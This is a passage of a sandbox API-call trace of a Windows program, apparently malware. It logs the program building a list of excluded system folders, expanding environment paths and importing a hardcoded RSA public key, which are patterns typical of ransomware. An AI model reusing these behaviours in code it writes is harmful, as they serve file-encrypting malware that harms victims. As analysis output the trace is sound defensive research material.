BaseAddress=0x115d238) returned 1 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5e8) returned 1 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d248) returned 1 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd25058) returned 1 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd22850) returned 1 [0169.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dae0 [0169.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c1f8, cbMultiByte=25, lpWideCharStr=0x115dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115db68 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dae0) returned 1 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d248 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dae0 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115db68) returned 1 [0169.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115db68 [0169.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c1b0, cbMultiByte=12, lpWideCharStr=0x115db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dbf0 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115db68) returned 1 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d238 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115db68 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dbf0) returned 1 [0169.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dbf0 [0169.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c168, cbMultiByte=8, lpWideCharStr=0x115dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dc78 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dbf0) returned 1 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d228 [0169.241] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dbf0 [0169.241] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dc78) returned 1 [0169.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dc78 [0169.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c120, cbMultiByte=6, lpWideCharStr=0x115dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dd00 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dc78) returned 1 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d218 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dc78 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dd00) returned 1 [0169.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dd00 [0169.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c240, cbMultiByte=11, lpWideCharStr=0x115dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dd88 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dd00) returned 1 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x20) returned 0x115dd00 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d208 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115de28 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dd88) returned 1 [0169.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115deb0 [0169.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c0d8, cbMultiByte=7, lpWideCharStr=0x115deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115df38 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115deb0) returned 1 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1e8 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115deb0 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115df38) returned 1 [0169.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115df38 [0169.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c288, cbMultiByte=11, lpWideCharStr=0x115df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115dfc0 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115df38) returned 1 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d1f8 [0169.242] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115df38 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115dfc0) returned 1 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2c8) returned 1 [0169.242] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1b0) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d298) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d288) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d278) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d268) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d258) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc08) returned 1 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd22850 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d258 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d258) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd22850) returned 1 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd22850 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d258 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d268 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.243] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.243] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d278 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d288 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d618 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d298 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2e8 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5e8 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d258) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d268) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d278) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d288) returned 1 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.244] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d5e8 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d288 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d278 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d268 [0169.244] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c240 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d258 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c0d8 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c168) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d298) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1b0) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2d8) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c1f8) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2c8) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c5e8) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d2e8) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d618) returned 1 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x10) returned 0x115d618 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2e8 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c5e8 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2c8 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1f8 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d2d8 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c1b0 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x8) returned 0x115d298 [0169.245] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c168 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d288) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d278) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d268) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d258) returned 1 [0169.245] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d5e8) returned 1 [0169.245] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xd22850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0169.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd22850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0169.246] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xd22850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0169.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd22850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0169.246] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xd22850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0169.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd22850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0169.246] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xd22850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0169.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd22850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0169.246] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x35f5d8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x35f5d8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0169.246] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xd27cf8, pcbBinary=0x35f5d8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xd27cf8, pcbBinary=0x35f5d8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0169.246] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xd27cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x35f5d8 | out: pvStructInfo=0x0, pcbStructInfo=0x35f5d8) returned 1 [0169.251] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xd27cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xd27f40, pcbStructInfo=0x35f5d8 | out: pvStructInfo=0xd27f40, pcbStructInfo=0x35f5d8) returned 1 [0169.252] CryptImportPublicKeyInfo (in: hCryptProv=0x3de420, dwCertEncodingType=0x10001, pInfo=0xd27f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xd27f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xd27f78*, PublicKey.cUnusedBits=0x0), phKey=0x35f5dc | out: phKey=0x35f5dc*=0x3ddbe0) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd27f40) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd27cf8) returned 1 [0169.253] ReleaseMutex (hMutex=0xa0) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd25058) returned 1 [0169.253] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd25058 [0169.253] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c900 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c900) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd25058) returned 1 [0169.253] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2800) returned 0xd25058 [0169.253] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c900 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c900) returned 1 [0169.253] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c900 [0169.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0169.253] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e1e0 [0169.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x115c900, cbMultiByte=9, lpWideCharStr=0x115e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0169.253] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e268 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e1e0) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e268) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c900) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd25058) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd22850) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c0d8) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d258) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c240) returned 1 [0169.253] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d268) returned 1 [0169.254] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.254] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d278) returned 1 [0169.254] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.254] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115d288) returned 1 [0169.254] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, 